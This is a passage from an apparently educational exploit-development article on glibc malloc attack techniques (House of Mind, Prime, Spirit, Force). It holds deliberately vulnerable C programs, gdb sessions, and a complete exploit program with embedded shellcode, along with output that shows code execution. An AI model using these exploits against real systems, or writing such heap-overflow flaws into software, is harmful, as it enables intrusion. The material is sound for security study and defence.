In "*fb = p", the content of this address will be overwritten with the address of the liberated chunk "p", which as before should must contain a "JMP" sentence to reach the Shellcode.

Seen this, if you want to use ".dtors", you should make that "ar_ptr" points to ".dtors" address in "public_free()", so that this address will be the fakearena and "av‑>max_fast (av + 4)" will be equal to ".dtors + 4". Then it will be overwritten with the address of "p".

But to achieve this you have to go through a hard path. Let's see the conditions that we must meet:

1) The size of chunk must be less than "av‑>maxfast":

if ((unsigned long)(size) <= (unsigned long)(av‑>max_fast))

This is relatively the easiest, because we said that the size will be equal to "8" and "av‑>max_fast" will be the address of a destructor. It should be clear that in this case "DTORS_END" is not valid because it is always "\x00\x00\x00\x00" and never will be greater than "size". It seems then that the most effective is to make use of the Global Offset Table (GOT).

We must be aware that we say that "size" must be 8, but in order to modify "ar_ptr", as in the previous technique, then NON_MAIN_ARENA bit (third least significant bit) must be set. So, I think, "size" should actually be:

8 = 1000b | 100b = 4 | 8 + NON_MAIN_ARENA = 12 = [0x0c]

With PREV_INUSE bit set: 1101b = [0x0d]

2) The size of contiguous chunk (next chunk) to "p" must be greater than "8":

__builtin_expect (chunk_at_offset (p, size)‑>size <= 2 * SIZE_SZ, 0)

This is no problem, right?

3) The same chunk, at time, must be less than "av‑>system_mem":

__builtin_expect (chunksize (chunk_at_offset (p, size)) >= av‑>system_mem, 0)

This is perhaps the most complicated step. Once established ar_ptr(av) in ".dtors" or "GOT", the "system_mem" item in "malloc_state" structure is beyond 1848 bytes.

GOT is almost contiguous to DTORS. In small applications the GOT table also is relatively small. For this reason it is normal to find in the av‑>system_mem position a lot of zero bytes. Let's see:

[‑‑‑‑‑]

blackngel@linux:~$ objdump ‑s ‑j .dtors ./heap1

...

Contents of section .dtors:

8049650 ffffffff 00000000

........

blackngel@mac:~$ gdb ‑q ./heap1

(gdb) break main

Breakpoint 1 at 0x8048442

(gdb) run < file

...

Breakpoint 1, 0x08048442 in main ()

(gdb) x/8x 0x08049650

0x8049650 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000 0x00000001 0x8049660 <_DYNAMIC+4>: 0x00000010 0x0000000c 0x0804830c 0x0000000d (gdb) x/8x 0x08049650 + 1848

0x8049d88: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d98: 0x00000000 0x00000000 0x00000000 0x00000000

[‑‑‑‑‑]

This technique appears to be only apply to large programs. Unless, as Phantasmal said, we can use the stack. How?

If "ar_ptr" is set to EBP address in a function, then "av‑>max_fast" will be EIP, which may be overwritten with the address of the chunk "p", and you already know how continues.

Here is ended the theory presented in the two mentioned papers. But unfortunately there is something that they forgot... at least it is something that quite surprised me from K‑sPecial.

We learned about the previous attack, that "av‑>mutex", which is the first item in an "arena" structure, should be equal to 0. K‑special, warned us that otherwise, "free()" would remain in an infinite loop...

What about DTORS then?

".dtors" will be always "0xffffffff", otherwise it will be a destructor address, but never 0.

You can find "0x00000000" four bytes behind of .dtors, but overwrite "0xffffffff" has no effect.

What happens then with GOT?

I do not think that you can found 0x00000000 values between each item within the GOT.

Solutions?

>From the beginning, I only explored one possible solution:

The main goal would be to use the stack, as mentioned earlier. But the difference is that we should have a buffer overflow before that allow overwrite EBP with 0 bytes, so we have:

EBP = av‑>mutex = 0x00000000

EIP = av‑>max_fast = &(p)

*p = "jmp 0x0c"

*p + 4 = 0x0c o 0x0d

*p + 8 = NOPS + SHELLCODE

But a little magic can do wonders...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FINAL SOLUTION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phantasmal and K‑sPecial thought to use only "av‑>maxfast" to overwrite then this memory location with the address of the chunk "p".

But because we control the entire arena "av", can we afford make a new analysis of "fastbin_index()" for a size argument of 16 bytes:

(16 >> 3) ‑ 2 = 0

So we obtain: fb = &(av‑>fastbins [0]), and if we get this, we can use the stack to overwrite EIP. How?

If our vulnerable code is into fvuln() function, EBP and EIP will be pushed in the stack at the prologue, and what there is behind EBP? If no user data then usually you can find a "0x00000000" value. If we use "av‑>fastbins[0]" and not "av‑>maxfast", we have the following:

[ 0xRAND_VAL ] <‑> av + 1848 = av‑>system_mem ............

[ EIP ] <‑> av‑>fastbins[0]

[ EBP ] <‑> av‑>max_fast

[ 0x00000000 ] <‑> av‑>mutex

In "av + 1848" is normal to find addresses or random values for "av‑>system_mem" and so we can pass the checks to reach the final code of "fastbin".

The "size" field of "p" must be 16 with NON_MAIN_ARENA and PREV_INUSE bits enabled. Then:

16 = 10000 | NON_MAIN_ARENA and PREV_INUSE = 101 | SIZE = 10101 = 0x15h

And we can control the "size" field of the next chunk to be greater than "8" and less than "av‑>system_mem". If you look at the code above you will note that this field is calculated from the offset of "p", therefore, this field is virtually in "p + 0x15", which is an offset of 21 bytes.

If we write a value of "0x09" in that position it will be perfect.

But this value will be in the middle of our NOPS filler and we should make a small change in the "JMP" sentence in order to jump farthest. Something like 16 bytes will be sufficient.

For the Proof of Concept, I modified "aircrack‑2.41" adding in main() the following code:

[‑‑‑‑‑]

int fvuln()

{

// Make something stupid here.

}

int main( int argc, char *argv[] )

{

int i, n, ret;

char *s, buf[128];

struct AP_info *ap_cur;

fvuln();

...

[‑‑‑‑‑]

The next code exploit the vulnerability:

[‑‑‑‑‑]

/*

* FastBin Method ‑ exploit

*/

#include <stdio.h>

/* linux_ia32_exec ‑ CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub

http://metasploit.com */

unsigned char scode[] = "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e" "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f" "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10" "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26" "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";

int main (void) {

int i, j;

for (i = 0; i < 1028; i++) /* FILLER */

putchar(0x41);

for (i = 0; i < 518; i++) { fwrite("\x09\x04\x00\x00", 4, 1, stdout); for (j = 0; j < 1028; j++) putchar(0x41);

}

fwrite("\x09\x04\x00\x00", 4, 1, stdout);

for (i = 0; i < (1024 / 4); i++) fwrite("\x34\xf4\xff\xbf", 4, 1, stdout); /* EBP ‑ 4 */

fwrite("\xeb\x16\x90\x90", 4, 1, stdout); /* JMP 0x16 */

fwrite("\x15\x00\x00\x00", 4, 1, stdout); /* 16 + N_M_A + P_INU */

fwrite("\x90\x90\x90\x90" \ "\x90\x90\x90\x90" \ "\x90\x90\x90\x90" \ "\x09\x00\x00\x00" \ /* nextchunk‑>size */

"\x90\x90\x90\x90", 20, 1, stdout);

fwrite(scode, sizeof(scode), 1, stdout); /* THE MAGIC CODE */

return(0);

}

[‑‑‑‑‑]

Let's now see it in action:

[‑‑‑‑‑]

blackngel@linux:~$ gcc ploit1.c ‑o ploit

blackngel@linux:~$ ./ploit > file

blackngel@linux:~$ gdb ‑q ./aircrack

(gdb) disass fvuln

Dump of assembler code for function fvuln:

.........

.........

0x08049298 <fvuln+184>:call 0x8048d4c <free@plt>

0x0804929d <fvuln+189>:movl $0x8056063,(%esp)

0x080492a4 <fvuln+196>:call 0x8048e8c <puts@plt>

0x080492a9 <fvuln+201>:mov %esi,(%esp)

0x080492ac <fvuln+204>:call 0x8048d4c <free@plt>

0x080492b1 <fvuln+209>:movl $0x8056075,(%esp)

0x080492b8 <fvuln+216>:call 0x8048e8c <puts@plt>

0x080492bd <fvuln+221>:add $0x1c,%esp

0x080492c0 <fvuln+224>:xor %eax,%eax

0x080492c2 <fvuln+226>:pop %ebx

0x080492c3 <fvuln+227>:pop %esi

0x080492c4 <fvuln+228>:pop %edi

0x080492c5 <fvuln+229>:pop %ebp

0x080492c6 <fvuln+230>:ret

End of assembler dump.

(gdb) break *fvuln+204 /* Before second free() */

Breakpoint 1 at 0x80492ac: file linux/aircrack.c, line 2302.

(gdb) break *fvuln+209 /* After second free() */

Breakpoint 2 at 0x80492b1: file linux/aircrack.c, line 2303.

(gdb) run < file

Starting program: /home/blackngel/aircrack < file

[Thread debugging using libthread_db enabled]

ptr found at 0x807d008

good heap allignment found on malloc() 521 (0x8100048)

END fread() /* tests when free () freezing (mutex != 0) */

END first free() /* tests when free () freezing (mutex != 0) */

[New Thread 0xb7e5b6b0 (LWP 8312)]

[Switching to Thread 0xb7e5b6b0 (LWP 8312)]

Breakpoint 1, 0x080492ac in fvuln () at linux/aircrack.c:2302 warning: Source file is more recent than executable.

2302 free(ptr2);

/* STACK DUMP */

(gdb) x/4x 0xbffff434 // av‑>max_fast // av‑>fastbins[0]

0xbffff434: 0x00000000 0xbffff518 0x0804ce52 0x080483ec

(gdb) x/x 0xbffff434 + 1848 /* av‑>system_mem */

0xbffffb6c:0x3d766d77

(gdb) x/4x 0x08100048‑8+20 /* nextchunk‑>size */

0x8100054: 0x00000009 0x90909090 0xe983c931 0xd9eed9f4 (gdb) c

Continuing.

Breakpoint 2, fvuln () at linux/aircrack.c:2303

2303 printf("\nEND second free()\n");

(gdb) x/4x 0xbffff434 // EIP = &(p)

0xbffff434: 0x00000000 0xbffff518 0x08100040 0x080483ec (gdb) c

Continuing.

END second free()

[New process 8312]

uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout), 24(cdrom),25(floppy),29(audio),30(dip),33(www‑data),44(video), 46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev), 117(powerdev),1000(blackngel),1001(compiler)

Program exited normally.

[‑‑‑‑‑]

The advantage of this method is that it does not touch at any time the EBP register, and thus we can skip some protection to BoF.

It is also noteworthy that the two methods presented here, in The House of Mind, are still applicable in the most recent versions of glibc, I have checked it with the latest version of GLIBC 2.8.90.

This time we have arrived, walking with lead foot and after a long journey, to The House of Mind.

<< Solo existen 10 tipos de personas: los que saben binario y los que no. >>

XXX ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.1.2 ‑‑‑[ av‑>top NIGHTMARE ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once I had completed the study of The House of Mind, tracking down a little more code in search of other possible attack vectors, I found something like this at _int_free ():

[‑‑‑‑‑]

/*

If the chunk borders the current high end of memory, consolidate into top

*/

else {

size += nextsize;

set_head(p, size | PREV_INUSE);

av‑>top = p;

check_chunk(av, p);

}

[‑‑‑‑‑]

Since we control the arena "av", we could place it in a certain location of the stack, such that av‑>top coincide exactly with a saved EIP.

At this point, EIP would be overwritten with the address of our chunk "p" overflowed. Then one arbitrary code execution could be triggered.

But my intentions were soon frustrated. To achieve execution of this code, in a controlled environment, we should meet one impossible condition:

if (nextchunk != av‑>top) {

...

}

This only happens when the chunk "p" that will be free()ed, is contiguous to the highest chunk, the Wilderness.

At some point you might think that you control the value of av‑>top, but remember that once you place av in the stack, the control is passed to random values in memory, and the current value of EIP never will be equal to "nextchunk" unless it is possible one classic stack‑overflow, then I don't know that you do reading this article...

That I just want to prove, that for better or for worse, all possible ways should be examined carefully.

<< Hasta ahora las masas han ido siempre tras el hechizo. >>

[ K. Jaspers ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.2 ‑‑‑[ THE HOUSE OF PRIME ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thus seen to date, I do not want to dwell too much. The House of Prime is, unquestionably, one of the most elaborated techniques in Malloc Maleficarum . The result of a virtual adept.

However, as mentioned Phantasmal well, it is the least useful of all them at first. While bearing in mind that The House of Mind requires a chunk of memory located in 0x08100000, this should not be left aside.

To perform this technique will be needed tow calls to free() over two chunks of memory that should be under designer's control, and one future call to "malloc ()".

The goal here, it sould be clear, it is not overwrite any memory address (even if it's necessary to completion of the technique), but make that one call to "malloc()" returns an arbitrary memory address. Then, if we can control this area doing that it will fall in the stack, we could take total control of application.

A final requirement is that the designer must control what is written in this allocated chunk, so if we put it on the stack, relatively close to EIP, this register can be overwritten with a arbitrary value. And you already know as follows...

Let's see a vulnerable program:

[‑‑‑‑‑]

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void fvuln(char *str1, char *str2, int age)

{

int local_age;

char buffer[64];

char *ptr = malloc(1024);

char *ptr1 = malloc(1024);

char *ptr2 = malloc(1024);

char *ptr3;

local_age = age;

strncpy(buffer, str1, sizeof(buffer)‑1);

printf("\nptr found at [ %p ]", ptr);

printf("\nptr1ovf found at [ %p ]", ptr1);

printf("\nptr2ovf found at [ %p ]\n", ptr2);

printf("Enter a description: ");

fread(ptr, 1024 * 5, 1, stdin);

free(ptr1);

printf("\nEND free(1)\n");

free(ptr2);

printf("\nEND free(2)\n");

ptr3 = malloc(1024);

printf("\nEND malloc()\n");

strncpy(ptr3, str2, 1024‑1);

printf("Your name is %s and you are %d", buffer, local_age);

}

int main(int argc, char *argv[])

{

if(argc < 4) {

printf("Usage: ./hop name last‑name age");

exit(0);

}

fvuln(argv[1], argv[2], atoi(argv[3]));

return 0;

}

[‑‑‑‑‑]

To start, we need to control the header of a first chunk that will be passed to free(), so that when we trigger a first call to "free()", the same code that in the "FastBin Method" will be used, but this time the size field of the chunk has to be "8", and obtain:

fastbin_index(8) ((((unsigned int)(8)) >> 3) ‑ 2) = ‑1

Then:

fb = &(av‑>fastbins[‑1]) = &av‑>max_fast;

In the last sentence: (*fb = p), av‑> max_fast will be overwritten with the address of our chunk being free()'d.

The result is very evident, from that moment we can run the same piece of code in free() whenever the size of chunk that will be passed to free() is less than the value of the chunk address "p" previously free()'d.

Typically: av‑>max_fast = 0x00000048, and now is 0x080YYYYY. What is more than you need.

To pass the integrity chesks of the first free() call, we need these sizes:

chunk "p" ‑> 8 (0x9h if PREV_INUSE bit is set).

nextchunk ‑> 10h is a good value ( 8 < "0x10h" < av‑>system_mem )

So the exploit would start with something like this:

[‑‑‑‑‑]

int main (void) {

int i, j;

for (i = 0; i < 1028; i++) /* FILLER */

putchar(0x41);

fwrite("\x09\x00\x00\x00", 4, 1, stdout); /* free(1) ptr1 size */

fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* FILLER */

fwrite("\x10\x00\x00\x00", 4, 1, stdout); /* free(1) ptr2 size */

[‑‑‑‑‑]

The next mission is to overwrite the value of "arena_key" (read Malloc Maleficarum for details) which is typically above "av" (&main_arena).

As we can use chunks of very large sizes, we can make that

&(av‑>fastbins[x]) points very far. At least enough to reach the value of "arena_key" and overwrite it with the "p" address.

Taking the example of Phantasmal, we would have to resize the second chunk to with the next value:

1156 bytes / 4 = 289

(289 + 2) << 3 = 2328 = 0x918h ‑> 0x919 (PREV_INUSE)

‑‑‑‑‑

You have to check again the "size" field of the next chunk, whose address is calculated from the value that we obtain a moment ago.

You can continue your exploit:

[‑‑‑‑‑]

for (i = 0; i < 1020; i++)

putchar(0x41);

fwrite("\x19\x09\x00\x00", 4, 1, stdout); /* free(2) ptr2 size */

.... /* Later */

for (i = 0; i < (2000 / 4); i++) fwrite("\x10\x00\x00\x00", 4, 1, stdout);

[‑‑‑‑‑]

At the end of the second free (): arena_key = p2.

This value will be used by the call to malloc () setting it as the "arena" structure to use.

arena_get(ar_ptr, bytes);

if(!ar_ptr)

return 0;

victim = _int_malloc(ar_ptr, bytes);

Again, let's go to see, to be more intuitive, the magic code of "_int_malloc()" function:

.....

if ((unsigned long)(nb) <= (unsigned long)(av‑>max_fast)) { long int idx = fastbin_index(nb);

fb = &(av‑>fastbins[idx]);

if ( (victim = *fb) != 0) {

if (fastbin_index (chunksize (victim)) != idx) malloc_printerr (check_action, "malloc(): memory" " corruption (fast)", chunk2mem (victim));

*fb = victim‑>fd;

check_remalloced_chunk(av, victim, nb);

return chunk2mem(victim);

}

.....

"av" is now our arena, which starts at the beginning of the second chunk liberated "p2", then it is clear that "av‑>max_fast" will be equal to the "size" field of the chunk. In order to pass the first integrity check, we have to ensure that the size requested by the "malloc()" call is less than that value, as Phantasmal said, otherwise you can try the technique described in 4.2.1.

As our vulnerable program allocate 1024 bytes, it will be perfect por a successful exploitation.

Then we can see that "fb" is set to address of a "fastbin" in "av", and in the following sentence, its content will be the final address of "victim". Remember that our goal is to allocate an amount of bytes into a place of our choice.

Do you remember / * Later * / ?

Well, that is where we need to copy repeatedly the address that we want in the stack, so any return "fastbin" set our address in "fb".

Mmmmm, but wait a moment, the next condition is the most important:

if (fastbin_index (chunksize (victim)) != idx)

This means that the "size" field of our fakechunk must be equal to the amount requested by "malloc()". This is the last requirement in The House of Prime. We must control a value into memory and place address of "victim" just 4 bytes before, so this value would become its new size.

Our vulnerable application get as parameters: "name", "surname" and "age". This last value is an integer that will be stored in the stack. If we make: age = 1024‑>(1032), we only must look for it into the stack to know the final address of "victim".

[‑‑‑‑‑]

(gdb) run Black Ngel 1032 < file

ptr found at [ 0x80b2a20 ]

ptr1ovf found at [ 0x80b2e28 ]

ptr2ovf found at [ 0x80b3230 ]

Escriba una descripcion:

END free(1)

END free(2)

Breakpoint 2, 0x080482d9 in fvuln ()

(gdb) x/4x $ebp‑32

0xbffff838: 0x00000000 0x00000000 0xbf000000 0x00000408

[‑‑‑‑‑]

Here we have our value, we should point to "0xbffff840".

for (i = 0; i < (600 / 4); i++) fwrite("\x40\xf8\xff\xbf", 4, 1, stdout);

You should have: ptr3 = malloc(1024) = 0xbffff848, remember that it returns a pointer to the memory (data area) and not to chunk's header.

We are really close to EBP and EIP. What happens if our "name" is composed by a few letters "A"?

[‑‑‑‑‑]

(gdb) run Black `perl ‑e 'print "A"x64'` 1032 < file

.....

ptr found at [ 0x80b2a20 ]

ptr1ovf found at [ 0x80b2e28 ]

ptr2ovf found at [ 0x80b3230 ]

Escriba una descripcion:

END free(1)

END free(2)

Breakpoint 2, 0x080482d9 in fvuln ()

(gdb) c

Continuing.

END malloc()

Breakpoint 3, 0x08048307 in fvuln ()

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

[‑‑‑‑‑]

Bingo! I think that you can put your own Shellcode, right?

Actually, addresses require manual adjustments, but that is trivial when you know write "gdb" in your shell.

At first, this technique is only applicable to version 2.3.6 of GLIBC. Later was added in the "free()" function an integrity check like this:

[‑‑‑‑‑]

/* We know that each chunk is at least MINSIZE bytes in size. */

if (__builtin_expect (size < MINSIZE, 0))

{

errstr = "free(): invalid size";

goto errout;

}

check_inuse_chunk(av, p);

[‑‑‑‑‑]

Which does not allow us to establish a smaller size than "16".

In honor to the first house developed and built by Phantasmal we have shown that it is possible to arrive alive at The House of Prime.

<< La tecnica no solo es una modificacion, es poder sobre las cosas. >>

[ Xavier Zubiri ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.2.1 ‑‑‑[ unsorted_chunks() ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Until the call to "malloc()", the technique is exactly the same as described in 4.2. The difference comes when the amount of bytes that you want to alloc with that call is over "av‑>max_fast", which appears to be the size of the second chunk passed to free().

Then, as Phantasmal advanced us, another piece of code can be triggered so that we will can overwrite an arbitrary address of memory.

But again he was wrong when he said:

"Firstly, the unsorted_chunks() macro returns av‑>bins[0]."

And this is not true, because "unsorted_chunks ()" returned address of "av‑>bins[0]" and not its value, which means that we must devise another method.

Being these lines the most relevant:

.....

victim = unsorted_chunks(av)‑>bk

bck = victim‑>bk;

.....

.....

unsorted_chunks(av)‑>bk = bck;

bck‑>fd = unsorted_chunks(av);

.....

I propose the following method:

1) Put at &av‑>bins[0]+12 the address of (&av‑>bins[0]+16‑12). Then:

victim = &av‑>bins[0]+4;

2) Put at &av‑>bins[0]+16 address of EIP ‑ 8. Then:

bck = (&av‑>bins[0]+4)‑>bk = av‑>bins[0]+16 = &EIP‑8;

3) Put at av‑>bins[0] a "JMP 0xYY" sentence to jump at least as far as &av‑>bins[0]+20. In the penultimate sentence it will destroy &av‑>bins[0]+12, but it is not important now, to the end we will have:

bck‑>fd = EIP = &av‑>bins[0];

4) Put (NOPS + SHELLCODE) from &av‑>bins[0] + 20.

When a "ret" instruction is executed, it will go to our "JMP" and this fall directly on the NOPS, moving east until the shellcode.

We should have something like this:

&av‑>bins[0] &av‑>bins[0]+12 &av‑>bins[0]+16

| |

...[ JMP 0x16 ].....[&av‑>bins[0]+16‑12][ EIP ‑ 8][ NOPS + SHELLCODE ]...

|______________________|_____

(2) |______|

(1)

(1) This happens here: bck = (&av‑>bins[0]+4)‑>bk.

(2) This happens after the execution of a "ret"

The great advantage of this method is that we can achieve a direct arbitrary code execution instead of returning a controlled chunk from "malloc()".

Perhaps through this clever way you can directly reach The House of Prime.

<< Felicidad no es hacer lo que uno quiere, sino querer lo que uno hace. >>

[ J. P. Sartre ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.3 ‑‑‑[ THE HOUSE OF SPIRIT ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The House of Spirit is, undoubtedly, one of the most simple applied technique when circumstances are propitious. The goal is to overwrite a pointer that was previously allocated with a call to "malloc()" so that when this is passed to free(), an arbitrary address will be stored in a "fastbin[]".

This can bring that in a future call to malloc(), this value will be taken as the new memory for the requested chunk. And what happens if I do that this memory chunk to fall into any specific area of stack?

Well, if we can control what we write in, we can change everything value that is ahead. As always, this is where EIP enters to the game.

Let's go to see a vulnerable program:

[‑‑‑‑‑]

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void fvuln(char *str1, int age)

{

static char *ptr1, name[32];

int local_age;

char *ptr2;

local_age = age;

ptr1 = (char *) malloc(256);

printf("\nPTR1 = [ %p ]", ptr1);

strcpy(name, str1);

printf("\nPTR1 = [ %p ]\n", ptr1);

free(ptr1);

ptr2 = (char *) malloc(40);

snprintf(ptr2, 40‑1, "%s is %d years old", name, local_age); printf("\n%s\n", ptr2);

}

int main(int argc, char *argv[])

{

if (argc == 3)

fvuln(argv[1], atoi(argv[2]));

return 0;

}

[‑‑‑‑‑]

It is easy to see how the "strcpy()" function allow to overwrite the "ptr1" pointer:

blackngel@mac:~$ ./hos `perl ‑e 'print "A"x32 . "BBBB"'` 20 PTR1 = [ 0x80c2688 ]

PTR1 = [ 0x42424242 ]

Segmentation fault

With this in mind, we can change the address of the chunk, but not all addresses are valid. Remember that in order to execute the "fastbin" code described in The House of Prime, we need a minor value than "av‑>max_fast" and, more specifically, as Phantasmal said, it has to be equal to the size requested in the future call to "malloc()" + 8.

So as one of the arguments in our application is the "age" parameter, we can put any value in the stack, which in this case will be "0x48", and seek its address.

(gdb) x/4x $ebp‑4

0xbffff314:0x000000300xbffff3380x080482ed0xbffff702

In our case we see that the value is just behind EBP, and PTR1 would must point to EBP. Remember that we are modifying the pointer to memory, not the chunk's address.

The most important requirement to success of this technique is pass the integrity check of the next chunk:

if (chunk_at_offset (p, size)‑>size <= 2 * SIZE_SZ || __builtin_expect (chunksize (chunk_at_offset (p, size))

av‑>system_mem, 0))

... at $EBP ‑ 4 + 48 we must have a value that meets the above conditions. Otherwise you should look for another addresses of memory that can allow you to control both values.

(gdb) x/4x $ebp‑4+48

0xbffff344:0x0000012c0xbffff5680x080484eb0x00000003

I will shown what it happens:

val1 target val2

o | o

‑64 | mem ‑4 0 +4 +8 +12 +16 |

| | | | | |

.....][P_SIZE][size+8][...][EBP][EIP][..][..][..][next_size][ ......

| |

o‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑o

| (size + 8) bytes

PTR1

|‑‑‑> Future PTR2

‑‑‑

(target) Value to overwrite.

(mem) Data of fakechunk.

(val1) Size of fakechunk.

(val2) Size of next chunk.

If this happens, control will be in our hands:

[‑‑‑‑‑]

blackngel@linux:~$ gdb ‑q ./hos

(gdb) disass fvuln

Dump of assembler code for function fvuln:

0x080481f0 <fvuln+0>:push %ebp

0x080481f1 <fvuln+1>:mov %esp,%ebp

0x080481f3 <fvuln+3>:sub $0x28,%esp

0x080481f6 <fvuln+6>:mov 0xc(%ebp),%eax

0x080481f9 <fvuln+9>:mov %eax,‑0x4(%ebp)

0x080481fc <fvuln+12>:movl $0x100,(%esp)

0x08048203 <fvuln+19>:call 0x804f440 <malloc>

..........

..........

0x08048230 <fvuln+64>:call 0x80507a0 <strcpy>

..........

..........

0x08048252 <fvuln+98>:call 0x804da50 <free>

0x08048257 <fvuln+103>:movl $0x28,(%esp)

0x0804825e <fvuln+110>:call 0x804f440 <malloc>

..........

..........

0x080482a3 <fvuln+179>:leave

0x080482a4 <fvuln+180>:ret

End of assembler dump.

(gdb) break *fvuln+19 /* Before malloc() */

Breakpoint 1 at 0x8048203

(gdb) run `perl ‑e 'print "A"x32 . "\x18\xf3\xff\xbf"'` 48 .........

..........

Breakpoint 1, 0x08048203 in fvuln ()

(gdb) x/4x $ebp‑4 /* 0x30 = 48 */

0xbffff314:0x000000300xbffff3380x080482ed0xbffff702

(gdb) x/4x $ebp‑4+48 /* 8 < 0x12c < av‑>system_mem */

0xbffff344:0x0000012c0xbffff5680x080484eb0x00000003

(gdb) c

Continuing.

PTR1 = [ 0x80c2688 ]

PTR1 = [ 0xbffff318 ]

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

[‑‑‑‑‑]

In this special case, the address of EBP would be the address of PTR2 zone data, which means that the fourth write character will overwrite EIP, and you will can point to your Shellcode.

This technique has the advantage, once again, to remain applicable in the newer versions of glibc so as PTMALLOC3. Must be known that the Phantasmal's theory still remain to the pass of the time.

Now you can feel the power of witches. We arrived, flying in broom at The House of Spirit.

<< La television es el espejo donde se refleja la derrota de todo nuestro sistema cultural. >>

[Federico Fellini ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.4 ‑‑‑[ THE HOUSE OF FORCE ]‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The top chunk (Wilderness), as I mentioned earlier in this article may be one of the most dreaded chunks. Sure, it is treated in a special way by the free() and malloc() functions, but in this case will be the trigger for a possible arbitrary code execution.

The main goal of this technique is to reach the next piece of code in "_int_malloc ()":

[‑‑‑‑‑]

.....

use_top:

victim = av‑>top;

size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { remainder_size = size ‑ nb;

remainder = chunk_at_offset(victim, nb);

av‑>top = remainder;

set_head(victim, nb | PREV_INUSE |

(av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb);

return chunk2mem(victim);

}

.....

[‑‑‑‑‑]

This technique requires three conditions:

1 ‑ One overflow in a chunk that allows to overwrite the Wilderness.

2 ‑ A call to "malloc()" with size field defined by designer.

3 ‑ Another call to "malloc()" where data can be handled by designer.

The ultimate goal is to get a chunk placed in an arbitrary memory. This position will be obtained by the last call to "malloc()", but first we must analyse more things.

Consider first a possible vulnerable program:

[‑‑‑‑‑]

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void fvuln(unsigned long len, char *str)

{

char *ptr1, *ptr2, *ptr3;

ptr1 = malloc(256);

printf("\nPTR1 = [ %p ]\n", ptr1);

strcpy(ptr1, str);

printf("\Allocated MEM: %u bytes", len);

ptr2 = malloc(len);

ptr3 = malloc(256);

strncpy(ptr3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 256);

}

int main(int argc, char *argv[])

{

char *pEnd;

if (argc == 3)

fvuln(strtoull(argv[1], &pEnd, 10), argv[2]);

return 0;

}

[‑‑‑‑‑]

Phantasmal said that the first thing to do was to overwrite the Wilderness chunk so that its "size" field was as high as possible, as well as "0xffffffff". Since our first chunk is 256 bytes long, and it is vulnerable to overflow, 264 characters "\xff" achieve the objective.

This ensures that any request of memory enough large, is treated with the code "_int_malloc()", instead of expand the heap.

The second goal, is to alter "av‑>top" so it points to a memory area under designer control. We (it's view in next section) will work with the stack, particularly with the EIP target. In fact, the address that should be placed in "av‑>top" is EIP ‑ 8, because we are dealing with the chunk address, and the return data area is 8 bytes later, there where we will write our data.

But... How hack "av‑>top"?

victim = av‑>top;

remainder = chunk_at_offset(victim, nb);

av‑>top = remainder;

"victim" get address of the current Wilderness chunk, that in a normal case we could see so as:

PTR1 = [ 0x80c2688 ]

0x80bf550 <main_arena+48>: 0x080c2788

As we can see, "remainder" is exactly the sum of this address plus the number of bytes requested by "malloc ()". This amount must be controlled by the designer as mentioned above.

Then, if EIP is "0xbffff22c", the address that we want placed at remainder (which will goes direct to "av‑>top") is actually this: "0xbfffff24". And now we know where this "av‑>top". Our number of bytes to request are:

0xbffff224 ‑ 0x080c2788 = 3086207644

I exploited the program with "3086207636", which again, is due to the difference between the position of the chunk and data area of Wilderness.

Since that time, "av‑>top" contain our altered value, and any request that triggers this piece of code, get this address as its data zone. Everything that is written will destroy the stack.

GLIBC 2.7 do the next:

....

void *p = chunk2mem(victim);

if (__builtin_expect (perturb_byte, 0))

alloc_perturb (p, bytes);

return p;

Let's to go:

[‑‑‑‑‑]

blackngel@linux:~$ gdb ‑q ./hof

(gdb) disass fvuln

Dump of assembler code for function fvuln:

0x080481f0 <fvuln+0>: push %ebp

0x080481f1 <fvuln+1>: mov %esp,%ebp

0x080481f3 <fvuln+3>: sub $0x28,%esp

